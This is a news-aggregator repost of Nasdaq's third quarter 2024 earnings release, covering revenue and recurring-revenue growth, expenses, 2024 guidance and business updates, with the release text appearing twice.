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Nasdaq: Reports Third Quarter 2024 Results https://ie3.euptest.org/nasdaq-reports-third-quarter-2024-results/ Thu, 21 Nov 2024 11:02:54 +0000 https://www.insidentity.com/?p=107632 Nasdaq, Inc. (Nasdaq: NDAQ) today reported financial results for the third quarter of 2024. • Third quarter 2024 net revenue1 was $1.1 billion, or $1.2 billion on a non-GAAP basis2, an increase of 22% over the third quarter of 2023, up 10% on a pro forma3 basis. This included Solutions4 revenue increasing 26%, or 10% on a pro forma basis. • Annualized Recurring Revenue (ARR)5 of $2.7 billion increased 31% over the third quarter of 2023, up 8% on a pro forma basis. • Financial Technology revenue of $371 million increased 56% over the third quarter of 2023, up 10% on a pro forma basis. • Index revenue of $182 million increased 26%, with $62 billion of net inflows over the trailing twelve months and $14 billion in the third quarter. • GAAP diluted earnings per share decreased 11% in the third quarter of 2024. Non-GAAP diluted earnings per share increased 5% in the third quarter of 2024 and increased 20% organically. • In the third quarter of 2024, the company returned $138 million to shareholders through dividends and $88 million through repurchases of common stock. The company also repaid a net $50 million of commercial paper in the third quarter of 2024. Adena Friedman, Chair and CEO said, “Nasdaq delivered its fourth consecutive quarter of double-digit Solutions growth with strong overall quarterly performance. As we approach the first anniversary of the Adenza acquisition, I am proud of our progress to date and excited about driving even greater value for our clients and shareholders. The integration continues seamlessly. Through our One Nasdaq strategy, we are deepening our partnerships with clients across the financial system and unlocking opportunities for sustained and scalable growth.” FINANCIAL REVIEW • Third quarter 2024 net revenue was $1.1 billion, reflecting 22% growth versus the prior year period while non-GAAP net revenue was $1.2 billion. Revenue growth included a $146 million benefit related to the acquisition of Adenza. Net revenue grew 10% on a pro forma basis. • Solutions revenue was $872 million in the third quarter of 2024, up 26% versus the prior year period, or 10% growth on a pro forma basis, reflecting strong growth from Index and Financial Technology. • ARR grew 31% year over year, or 8% on a pro forma basis, in the third quarter of 2024 with 14% pro forma ARR growth for Financial Technology and 2% ARR growth for Capital Access Platforms. • Market Services net revenue was $266 million in the third quarter of 2024, up 13% versus the prior year period. The increase was primarily driven by a $15 million increase in U.S. equity derivatives and an $11 million increase in U.S. cash equities. • Third quarter 2024 GAAP operating expenses were $698 million, an increase of 37% versus the prior year period. The increase for the third quarter was primarily due to the acquisition of Adenza, which resulted in an additional $87 million in amortization expense of acquired intangible assets, and $61 million of other AxiomSL and Calypso operating expenses, as well as organic growth driven by increased investments in technology and our people to drive innovation and long-term growth. • Third quarter 2024 non-GAAP operating expenses were $543 million, reflecting 21% growth versus the prior year period, or 5% growth on a pro forma basis. The increase for the third quarter was primarily due to the inclusion of $61 million of AxiomSL and Calypso operating expenses. The pro forma increase reflects growth driven by increased investments in technology and our people to drive innovation and long-term growth, partially offset by the benefit of synergies. • Third quarter 2024 cash flow from operations was $244 million, enabling the company to continue to make meaningful progress on its deleveraging plan. In the third quarter, the company returned $138 million to shareholders through dividends and $88 million through repurchases of our common stock. The company also repaid a net $50 million of commercial paper in the third quarter of 2024. As of September 30, 2024, there was $1.7 billion remaining under the board-authorized share repurchase program. 2024 EXPENSE AND TAX GUIDANCE UPDATE • The company is updating its 2024 non-GAAP operating expense guidance to a range of $2,150 million to $2,180 million, and is updating its 2024 non-GAAP tax rate guidance to be in the range of 23.5% to 24.5%. STRATEGIC AND BUSINESS UPDATES • Financial Technology delivered healthy revenue growth in the third quarter. Division revenue increased 10% on a pro forma basis, reflective of the mission-critical nature of the division’s solutions suite. Financial Technology pro forma ARR growth was 14% in the third quarter, with 39 new customers, 110 upsells, and 2 cross-sells. Third-quarter highlights include: ◦ Nasdaq leapt to 5th place in Chartis’ annual RiskTech100® global ranking. This ranking is widely regarded as the most comprehensive independent study of the world’s major players in risk and compliance technology. The significant jump in ranking reflects the combined power of Nasdaq and Adenza’s technology offerings with Nasdaq and Adenza previously ranking #18 and #10, respectively. Nasdaq Verafin and AxiomSL won Chartis industry awards recognizing Nasdaq’s leadership in financial crime management and regulatory reporting. The study also highlighted the value of Nasdaq’s governance and sustainability solutions. ◦ Financial Crime Management Technology had ARR growth of 24% with 114% net revenue retention and launched new AI product innovations. Financial Crime Management Technology signed 28 new SMB clients, in addition to the previously announced Tier 1 win in July. Nasdaq Verafin extended its track record of product innovation success with its AI Entity Research Copilot now deployed to more than 2,000 U.S. institutions. In the third quarter, Nasdaq Verafin announced new enhancements to its Targeted Typology Analytics, an artificial intelligence (AI) based suite of detection capabilities targeting terrorist financing and drug trafficking activity. ◦ AxiomSL and Calypso achieved 15% combined pro forma ARR growth. AxiomSL and Calypso delivered a combined 47 upsells and 4 new clients, with 17% of new bookings in the quarter cloud-based. Combined gross revenue retention7 wasRead More »Nasdaq: Reports Third Quarter 2024 Results

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Nasdaq, Inc. (Nasdaq: NDAQ) today reported financial results for the third quarter of 2024. • Third quarter 2024 net revenue1 was $1.1 billion, or $1.2 billion on a non-GAAP basis2, an increase of 22% over the third quarter of 2023, up 10% on a pro forma3 basis. This included Solutions4 revenue increasing 26%, or 10% on a pro forma basis. • Annualized Recurring Revenue (ARR)5 of $2.7 billion increased 31% over the third quarter of 2023, up 8% on a pro forma basis. • Financial Technology revenue of $371 million increased 56% over the third quarter of 2023, up 10% on a pro forma basis. • Index revenue of $182 million increased 26%, with $62 billion of net inflows over the trailing twelve months and $14 billion in the third quarter. • GAAP diluted earnings per share decreased 11% in the third quarter of 2024. Non-GAAP diluted earnings per share increased 5% in the third quarter of 2024 and increased 20% organically. • In the third quarter of 2024, the company returned $138 million to shareholders through dividends and $88 million through repurchases of common stock. The company also repaid a net $50 million of commercial paper in the third quarter of 2024. Adena Friedman, Chair and CEO said, “Nasdaq delivered its fourth consecutive quarter of double-digit Solutions growth with strong overall quarterly performance. As we approach the first anniversary of the Adenza acquisition, I am proud of our progress to date and excited about driving even greater value for our clients and shareholders. The integration continues seamlessly. Through our One Nasdaq strategy, we are deepening our partnerships with clients across the financial system and unlocking opportunities for sustained and scalable growth.” FINANCIAL REVIEW • Third quarter 2024 net revenue was $1.1 billion, reflecting 22% growth versus the prior year period while non-GAAP net revenue was $1.2 billion. Revenue growth included a $146 million benefit related to the acquisition of Adenza. Net revenue grew 10% on a pro forma basis. • Solutions revenue was $872 million in the third quarter of 2024, up 26% versus the prior year period, or 10% growth on a pro forma basis, reflecting strong growth from Index and Financial Technology. • ARR grew 31% year over year, or 8% on a pro forma basis, in the third quarter of 2024 with 14% pro forma ARR growth for Financial Technology and 2% ARR growth for Capital Access Platforms. • Market Services net revenue was $266 million in the third quarter of 2024, up 13% versus the prior year period. The increase was primarily driven by a $15 million increase in U.S. equity derivatives and an $11 million increase in U.S. cash equities. • Third quarter 2024 GAAP operating expenses were $698 million, an increase of 37% versus the prior year period. The increase for the third quarter was primarily due to the acquisition of Adenza, which resulted in an additional $87 million in amortization expense of acquired intangible assets, and $61 million of other AxiomSL and Calypso operating expenses, as well as organic growth driven by increased investments in technology and our people to drive innovation and long-term growth. • Third quarter 2024 non-GAAP operating expenses were $543 million, reflecting 21% growth versus the prior year period, or 5% growth on a pro forma basis. The increase for the third quarter was primarily due to the inclusion of $61 million of AxiomSL and Calypso operating expenses. The pro forma increase reflects growth driven by increased investments in technology and our people to drive innovation and long-term growth, partially offset by the benefit of synergies. • Third quarter 2024 cash flow from operations was $244 million, enabling the company to continue to make meaningful progress on its deleveraging plan. In the third quarter, the company returned $138 million to shareholders through dividends and $88 million through repurchases of our common stock. The company also repaid a net $50 million of commercial paper in the third quarter of 2024. As of September 30, 2024, there was $1.7 billion remaining under the board-authorized share repurchase program. 2024 EXPENSE AND TAX GUIDANCE UPDATE • The company is updating its 2024 non-GAAP operating expense guidance to a range of $2,150 million to $2,180 million, and is updating its 2024 non-GAAP tax rate guidance to be in the range of 23.5% to 24.5%. STRATEGIC AND BUSINESS UPDATES • Financial Technology delivered healthy revenue growth in the third quarter. Division revenue increased 10% on a pro forma basis, reflective of the mission-critical nature of the division’s solutions suite. Financial Technology pro forma ARR growth was 14% in the third quarter, with 39 new customers, 110 upsells, and 2 cross-sells. Third-quarter highlights include: ◦ Nasdaq leapt to 5th place in Chartis’ annual RiskTech100® global ranking. This ranking is widely regarded as the most comprehensive independent study of the world’s major players in risk and compliance technology. The significant jump in ranking reflects the combined power of Nasdaq and Adenza’s technology offerings with Nasdaq and Adenza previously ranking #18 and #10, respectively. Nasdaq Verafin and AxiomSL won Chartis industry awards recognizing Nasdaq’s leadership in financial crime management and regulatory reporting. The study also highlighted the value of Nasdaq’s governance and sustainability solutions. ◦ Financial Crime Management Technology had ARR growth of 24% with 114% net revenue retention and launched new AI product innovations. Financial Crime Management Technology signed 28 new SMB clients, in addition to the previously announced Tier 1 win in July. Nasdaq Verafin extended its track record of product innovation success with its AI Entity Research Copilot now deployed to more than 2,000 U.S. institutions. In the third quarter, Nasdaq Verafin announced new enhancements to its Targeted Typology Analytics, an artificial intelligence (AI) based suite of detection capabilities targeting terrorist financing and drug trafficking activity. ◦ AxiomSL and Calypso achieved 15% combined pro forma ARR growth. AxiomSL and Calypso delivered a combined 47 upsells and 4 new clients, with 17% of new bookings in the quarter cloud-based. Combined gross revenue retention7 was 97% and net revenue retention8 was 111%. Excluding the impact of a significant bankruptcy first noted in the fourth quarter of 2023, pro forma ARR growth was 16%, gross revenue retention was 98%, and net revenue retention was 112%. ◦ Market Technology delivered 14% ARR growth as it continues to capture opportunities associated with the market modernization megatrend. Market Technology was driven by 13 upsells, 1 new client, and 1 cross-sell in the third quarter. ARR growth also benefited from the conversion of a previously mentioned large client delivery. • U.S. equity derivatives achieved record quarterly net revenue. In the third quarter of 2024, Nasdaq achieved a record quarter of U.S. equity derivatives net revenue of $107 million, with multi-listed U.S. options market share once again surpassing 30% in the quarter and 19% growth in U.S. index options volume. • Index delivered another quarter of outstanding performance and advanced its growth strategy across product innovation, globalization, and institutional client expansion. The Index business had $62 billion in net inflows over the trailing 12 months, with $14 billion in the third quarter. The business achieved another record in Index ETP AUM, averaging $575 billion in the third quarter and reaching $600 billion at quarter-end. Index derivatives trading volumes grew 24% year-over-year, also contributing to revenue growth. Nasdaq launched 35 new products with our partners in the quarter, 20 of which were international. The launches included 8 options overlays and 7 institutional insurance annuity products. Additionally, Nasdaq recently received the 2024 Best Index Provider from Structured Retail Products, a global market intelligence provider, highlighting the business’ innovation and success as a strategic partner to our clients. • Nasdaq strengthened its listings leadership in the U.S. in the third quarter. Nasdaq listed 33 U.S. operating company IPOs that raised more than $6 billion in proceeds, reflecting an 85% win rate among eligible operating companies in the quarter. These listings contributed to a 75% win rate year-to-date through the third quarter for eligible operating companies comprising 5 of the top 10 IPOs, including Lineage, the largest offering so far this year. Nasdaq also celebrated its 500th switch to our U.S. exchange in the quarter. • Nasdaq celebrated 25 Years of MarketSite in Times Square. MarketSite has stood as a physical embodiment of the Nasdaq brand since its debut and reflects Nasdaq’s culture of driving innovation and delivering valuable client solutions. MarketSite is a hub for Nasdaq’s clients and partners and an integral part of the global finance landscape. • Nasdaq continued its progress on its 2024 strategic priorities – Integrate, Innovate, Accelerate – positioning the company to capitalize on opportunities for sustainable, scalable, and resilient growth. ◦ Integrate – Since the acquisition of Adenza nearly a year ago, Nasdaq has actioned more than 80% of its net expense synergy target and continues to deliver ahead of plan. ◦ Innovate – Nasdaq reached new milestones in deploying AI tools and products including the launch of an internal Generative AI platform with custom-built efficiency tools and completed the rollout of AI copilot tools to all of its developers. Calypso also announced an AI-based solution for X-Value Adjustments (XVA) with up to 100 times faster processing speeds that improve the efficiency of risk calculations for banks, insurers, and other financial institutions. Beyond Nasdaq’s AI innovations, Market Services migrated Nasdaq International Securities Exchange to its next-generation derivatives platform, Fusion. Four of Nasdaq’s U.S. markets and one European equity derivatives market are operating on this platform which provides enhanced performance, including lower latency, higher throughput, and increased productivity. ◦ Accelerate – We continue to make progress on our One Nasdaq strategy driving two cross-sells across the Financial Technology division in the quarter. The percentage of cross-sell opportunities in the division’s pipeline is over 10% and Nasdaq remains on track to exceed $100 million in cross-sells by the end of 2027. For the full document click the link below: Nasdaq, Inc. Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies. 

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